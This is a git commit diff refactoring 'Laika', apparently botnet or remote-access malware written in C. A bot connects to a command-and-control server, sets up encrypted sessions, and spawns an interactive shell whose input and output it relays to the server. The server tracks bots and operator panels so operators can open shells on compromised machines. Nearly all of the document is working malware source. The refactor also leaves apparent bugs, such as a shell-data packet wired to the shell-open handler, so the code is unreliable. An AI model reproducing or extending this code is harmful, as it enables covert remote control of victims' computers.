Major refactoring

lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough.
This commit is contained in:
CPunch 2022-02-28 16:27:55 -06:00
parent c092d5a9a0
commit 8438378560
21 changed files with 424 additions and 251 deletions

View File

@ -13,7 +13,7 @@ struct sLaika_bot {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList; struct sLaika_pollList pList;
struct sLaika_peer *peer; struct sLaika_peer *peer;
struct sLaika_shell *shells[LAIKA_MAX_SHELLS]; struct sLaika_shell *shell;
}; };
struct sLaika_bot *laikaB_newBot(void); struct sLaika_bot *laikaB_newBot(void);

View File

@ -7,10 +7,9 @@ struct sLaika_bot;
struct sLaika_shell { struct sLaika_shell {
int pid; int pid;
int fd; int fd;
int id;
}; };
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id); struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot);
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */ /* handles reading & writing to shell pipes */

View File

@ -4,12 +4,6 @@
#include "bot.h" #include "bot.h"
#include "shell.h" #include "shell.h"
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
[LAIKAPKT_SHELL_OPEN] = sizeof(uint8_t),
[LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t),
};
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot*)uData;
uint8_t endianness = laikaS_readByte(&peer->sock); uint8_t endianness = laikaS_readByte(&peer->sock);
@ -18,11 +12,23 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
} }
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = { struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = laikaB_handleHandshakeResponse, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
[LAIKAPKT_SHELL_OPEN] = laikaB_handleShellOpen, laikaB_handleHandshakeResponse,
[LAIKAPKT_SHELL_CLOSE] = laikaB_handleShellClose, sizeof(uint8_t),
[LAIKAPKT_SHELL_DATA] = laikaB_handleShellData, false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
laikaB_handleShellOpen,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
laikaB_handleShellClose,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaB_handleShellOpen,
0,
true),
}; };
struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *laikaB_newBot(void) {
@ -31,12 +37,11 @@ struct sLaika_bot *laikaB_newBot(void) {
char *tempIPBuf; char *tempIPBuf;
size_t _unused; size_t _unused;
memset(bot->shells, 0, sizeof(bot->shells)); bot->shell = NULL;
laikaP_initPList(&bot->pList); laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer( bot->peer = laikaS_newPeer(
laikaB_handlerTbl, laikaB_pktTbl,
laikaB_pktSizeTbl,
&bot->pList, &bot->pList,
(void*)bot (void*)bot
); );
@ -85,11 +90,9 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaP_cleanPList(&bot->pList); laikaP_cleanPList(&bot->pList);
laikaS_freePeer(bot->peer); laikaS_freePeer(bot->peer);
/* clear shells */ /* clear shell */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { if (bot->shell)
if (bot->shells[i]) laikaB_freeShell(bot, bot->shell);
laikaB_freeShell(bot, bot->shells[i]);
}
laikaM_free(bot); laikaM_free(bot);
} }
@ -115,10 +118,10 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */ laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n") LAIKA_ERROR("failed to gen session key!\n");
if (!laikaS_handlePeerOut(bot->peer)) if (!laikaS_handlePeerOut(bot->peer))
LAIKA_ERROR("failed to send handshake request!\n") LAIKA_ERROR("failed to send handshake request!\n");
} }
void laikaB_flushQueue(struct sLaika_bot *bot) { void laikaB_flushQueue(struct sLaika_bot *bot) {

View File

@ -10,14 +10,9 @@ struct sLaika_taskService tService;
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_shell *shell; struct sLaika_shell *shell;
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot*)uData;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { if (bot->shell)
shell = bot->shells[i]; laikaB_readShell(bot, shell);
if (shell) {
laikaB_readShell(bot, shell);
}
}
} }
int main(int argv, char **argc) { int main(int argv, char **argc) {

View File

@ -10,9 +10,8 @@
#include "bot.h" #include "bot.h"
#include "shell.h" #include "shell.h"
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) { struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot) {
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
shell->id = id;
shell->pid = forkpty(&shell->fd, NULL, NULL, NULL); shell->pid = forkpty(&shell->fd, NULL, NULL, NULL);
@ -28,7 +27,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) {
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
} }
bot->shells[id] = shell; bot->shell = shell;
return shell; return shell;
} }
@ -37,8 +36,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
kill(shell->pid, SIGTERM); kill(shell->pid, SIGTERM);
close(shell->fd); close(shell->fd);
bot->shells[shell->id] = NULL; bot->shell = NULL;
laikaM_free(shell); laikaM_free(shell);
} }
@ -52,7 +50,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
if (rd > 0) { if (rd > 0) {
/* we read some input! send to cnc */ /* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeByte(sock, shell->id);
laikaS_write(sock, readBuf, rd); laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer); laikaS_endVarPacket(peer);
} else if (rd == -1) { } else if (rd == -1) {
@ -61,9 +58,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* not EWOULD or EAGAIN, must be an error! so close the shell */ /* not EWOULD or EAGAIN, must be an error! so close the shell */
/* tell cnc shell is closed */ /* tell cnc shell is closed */
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE); laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeByte(sock, shell->id);
laikaS_endOutPacket(peer);
/* kill shell */ /* kill shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
@ -87,9 +82,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
/* unrecoverable error */ /* unrecoverable error */
/* tell cnc shell is closed */ /* tell cnc shell is closed */
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE); laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeByte(sock, shell->id);
laikaS_endOutPacket(peer);
/* kill shell */ /* kill shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
@ -107,46 +100,38 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
return true; return true;
} }
/* ================================================[[ Handlers ]]================================================ */ /* ============================================[[ Packet Handlers ]]============================================= */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot*)uData;
uint8_t id = laikaS_readByte(&peer->sock);
/* check if shell id is in use */ /* check if shell is already open */
if (id >= LAIKA_MAX_SHELLS || bot->shells[id]) if (bot->shell)
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested invalid id! [%d]\n", id); LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
/* open shell */ /* open shell */
laikaB_newShell(bot, id); laikaB_newShell(bot);
} }
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot*)uData;
uint8_t id = laikaS_readByte(&peer->sock);
/* check if shell id is in use */ /* check if shell is not running */
if (id >= LAIKA_MAX_SHELLS || bot->shells[id] == NULL) if (bot->shell == NULL)
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested invalid id! [%d]\n", id); LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
/* close shell */ /* close shell */
laikaB_freeShell(bot, bot->shells[id]); laikaB_freeShell(bot, bot->shell);
} }
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot*)uData;
struct sLaika_shell *shell; struct sLaika_shell *shell = bot->shell;
uint8_t id;
if (sz <= 1 || sz > (LAIKA_SHELL_DATA_MAX_LENGTH + 1)) /* sanity check shell */
LAIKA_ERROR("malformed LAIKAPKT_SHELL_DATA!\n"); if (bot->shell == NULL)
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
id = laikaS_readByte(&peer->sock);
/* sanity check id & validate shell */
if (id >= LAIKA_MAX_SHELLS || (shell = bot->shells[id]) == NULL)
LAIKA_ERROR("LAIKAPKT_SHELL_DATA sent invalid id! [%d]\n", id)
/* read data buf */ /* read data buf */
laikaS_read(&peer->sock, buf, sz - 1); laikaS_read(&peer->sock, buf, sz - 1);

View File

@ -6,14 +6,36 @@
#include "lsocket.h" #include "lsocket.h"
#include "lpolllist.h" #include "lpolllist.h"
#include "lpeer.h" #include "lpeer.h"
#include "hashmap.h"
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_peerInfo {
struct sLaika_cnc *cnc;
};
#define BASE_PEERINFO struct sLaika_peerInfo info;
struct sLaika_botInfo {
BASE_PEERINFO
struct sLaika_peer *shellAuth; /* currently connected shell */
};
struct sLaika_authInfo {
BASE_PEERINFO
struct sLaika_peer *shellBot; /* currently connected shell */
};
#undef BASE_PEERINFO
struct sLaika_cnc { struct sLaika_cnc {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock; struct sLaika_socket sock;
struct sLaika_pollList pList; struct sLaika_pollList pList;
struct sLaika_peer **panels; /* holds connected panel peers */ struct hashmap *peers; /* holds all peers, lookup using pubkey */
int panelCount; struct sLaika_peer **authPeers; /* holds connected panel peers */
int panelCap; int authPeersCount;
int authPeersCap;
}; };
struct sLaika_cnc *laikaC_newCNC(uint16_t port); struct sLaika_cnc *laikaC_newCNC(uint16_t port);
@ -22,10 +44,15 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc);
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel); void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type);
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout); bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
#endif #endif

View File

@ -3,8 +3,11 @@
#include "lpeer.h" #include "lpeer.h"
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot); void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
#endif #endif

View File

@ -6,16 +6,61 @@
#include "cpanel.h" #include "cpanel.h"
#include "cnc.h" #include "cnc.h"
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { /* ===============================================[[ Peer Info ]]================================================ */
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN,
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t), struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
[LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t) struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
};
pInfo->cnc = cnc;
return pInfo;
}
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
bInfo->shellAuth = NULL;
return bInfo;
}
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
aInfo->shellBot = NULL;
return aInfo;
}
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
peer->uData = NULL;
laikaM_free(pInfo);
}
/* ==============================================[[ PeerHashMap ]]=============================================== */
typedef struct sCNC_PeerHashElem {
struct sLaika_peer *peer;
uint8_t *pub;
} tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t id = laikaS_readByte(&peer->sock); struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_cnc *cnc = bInfo->info.cnc;
uint8_t _res = laikaS_readByte(&peer->sock);
printf("Shell %d for peer %lx was closed.\n", id, peer);
} }
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
@ -23,7 +68,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint8_t id; uint8_t id;
if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!") LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!");
id = laikaS_readByte(&peer->sock); id = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, (void*)buf, sz-1); laikaS_read(&peer->sock, (void*)buf, sz-1);
@ -32,7 +77,8 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char magicBuf[LAIKA_MAGICLEN]; char magicBuf[LAIKA_MAGICLEN];
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
uint8_t major, minor; uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
@ -58,7 +104,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* gen session keys */ /* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n") LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */ /* encrypt all future packets */
laikaS_setSecure(peer, true); laikaS_setSecure(peer, true);
@ -71,22 +117,54 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* handshake (mostly) complete */ /* handshake (mostly) complete */
laikaC_onAddPeer(cnc, peer); laikaC_onAddPeer(cnc, peer);
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
} }
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { /* =============================================[[ Packet Tables ]]============================================== */
[LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest,
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake, #define DEFAULT_PKT_TBL \
[LAIKAPKT_SHELL_DATA] = laikaC_handleShellData LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
laikaC_handleHandshakeRequest, \
LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, \
false), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
laikaC_handleAuthenticatedHandshake, \
sizeof(uint8_t), \
false)
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
laikaC_handleShellClose,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleShellData,
0,
true),
}; };
struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
laikaC_handleAuthenticatedHandshake,
crypto_kx_PUBLICKEYBYTES,
false),
};
#undef DEFAULT_PKT_TBL
/* ==================================================[[ CNC ]]=================================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
size_t _unused; size_t _unused;
cnc->panels = NULL; /* init peer hashmap & panel list */
cnc->panelCap = 4; cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->panelCount = 0; cnc->authPeers = NULL;
cnc->authPeersCap = 4;
cnc->authPeersCount = 0;
/* init socket & pollList */ /* init socket & pollList */
laikaS_initSocket(&cnc->sock); laikaS_initSocket(&cnc->sock);
@ -121,60 +199,102 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
void laikaC_freeCNC(struct sLaika_cnc *cnc) { void laikaC_freeCNC(struct sLaika_cnc *cnc) {
laikaS_cleanSocket(&cnc->sock); laikaS_cleanSocket(&cnc->sock);
laikaP_cleanPList(&cnc->pList); laikaP_cleanPList(&cnc->pList);
hashmap_free(cnc->peers);
laikaM_free(cnc); laikaM_free(cnc);
} }
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i; int i;
/* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH)
laikaC_addAuth(cnc, peer);
/* notify connected panels of the newly connected peer */ /* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->panelCount; i++) { for (i = 0; i < cnc->authPeersCount; i++) {
laikaC_sendNewPeer(cnc->panels[i], peer); laikaC_sendNewPeer(cnc->authPeers[i], peer);
} }
/* add to peer lookup map */
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
} }
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i; int i;
/* remove peer from panels list (if it's a panel) */
if (peer->type == PEER_AUTH)
laikaC_rmvAuth(cnc, peer);
/* notify connected panels of the disconnected peer */ /* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->panelCount; i++) { for (i = 0; i < cnc->authPeersCount; i++) {
if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */ if (cnc->authPeers[i] != peer) /* don't send disconnect event to themselves */
laikaC_sendRmvPeer(cnc->panels[i], peer); laikaC_sendRmvPeer(cnc->authPeers[i], peer);
} }
/* remove from peer lookup map */
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
} }
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
/* free old peerInfo */
laikaC_freePeerInfo(peer, peer->uData);
/* update accepted packets */
switch (type) {
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
}
/* make sure to update connected peers */
laikaC_onRmvPeer(cnc, peer);
peer->type = type;
/* a new (but not-so-new) peer has arrived */
laikaC_onAddPeer(cnc, peer);
}
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
int i; int i;
for (i = 0; i < cnc->panelCount; i++) { for (i = 0; i < cnc->authPeersCount; i++) {
if (cnc->panels[i] == panel) { /* we found the index for our panel! */ if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */
laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1); laikaM_rmvarray(cnc->authPeers, cnc->authPeersCount, i, 1);
return; return;
} }
} }
} }
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
/* grow array if we need to */ /* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->panels, 1, cnc->panelCount, cnc->panelCap); laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
/* insert into authenticated panel table */ /* insert into authenticated peer table */
cnc->panels[cnc->panelCount++] = panel; cnc->authPeers[cnc->authPeersCount++] = authPeer;
LAIKA_DEBUG("added panel %lx!\n", panel); LAIKA_DEBUG("added panel %p!\n", authPeer);
} }
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
laikaC_onRmvPeer(cnc, peer); laikaC_onRmvPeer(cnc, peer);
/* remove peer from panels list (if it's a panel) */ /* free peerInfo if it's defined */
if (peer->type == PEER_PANEL) if (peer->uData)
laikaC_rmvPanel(cnc, peer); laikaC_freePeerInfo(peer, peer->uData);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaS_freePeer(peer); laikaS_freePeer(peer);
LAIKA_DEBUG("peer %lx killed!\n", peer); LAIKA_DEBUG("peer %p killed!\n", peer);
} }
void laikaC_flushQueue(struct sLaika_cnc *cnc) { void laikaC_flushQueue(struct sLaika_cnc *cnc) {
@ -184,7 +304,7 @@ void laikaC_flushQueue(struct sLaika_cnc *cnc) {
/* flush pList's outQueue */ /* flush pList's outQueue */
for (i = 0; i < cnc->pList.outCount; i++) { for (i = 0; i < cnc->pList.outCount; i++) {
peer = cnc->pList.outQueue[i]; peer = cnc->pList.outQueue[i];
LAIKA_DEBUG("sending OUT to %lx\n", peer); LAIKA_DEBUG("sending OUT to %p\n", peer);
if (!laikaS_handlePeerOut(peer)) if (!laikaS_handlePeerOut(peer))
laikaC_killPeer(cnc, peer); laikaC_killPeer(cnc, peer);
} }
@ -208,10 +328,9 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) { for (i = 0; i < numEvents; i++) {
if (evnts[i].sock == &cnc->sock) { /* event on listener? */ if (evnts[i].sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer( peer = laikaS_newPeer(
laikaC_handlerTbl, laikaC_botPktTbl,
laikaC_pktSizeTbl,
&cnc->pList, &cnc->pList,
(void*)cnc (void*)laikaC_newBotInfo(cnc)
); );
/* setup and accept new peer */ /* setup and accept new peer */
@ -221,7 +340,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
/* add to our pollList */ /* add to our pollList */
laikaP_addSock(&cnc->pList, &peer->sock); laikaP_addSock(&cnc->pList, &peer->sock);
LAIKA_DEBUG("new peer %lx!\n", peer); LAIKA_DEBUG("new peer %p!\n", peer);
continue; continue;
} }
@ -245,4 +364,35 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
laikaC_flushQueue(cnc); laikaC_flushQueue(cnc);
return true; return true;
}
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
return elem ? elem->peer : NULL;
}
/* ===============================================[[ Peer Iter ]]================================================ */
struct sWrapperData {
tLaika_peerIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
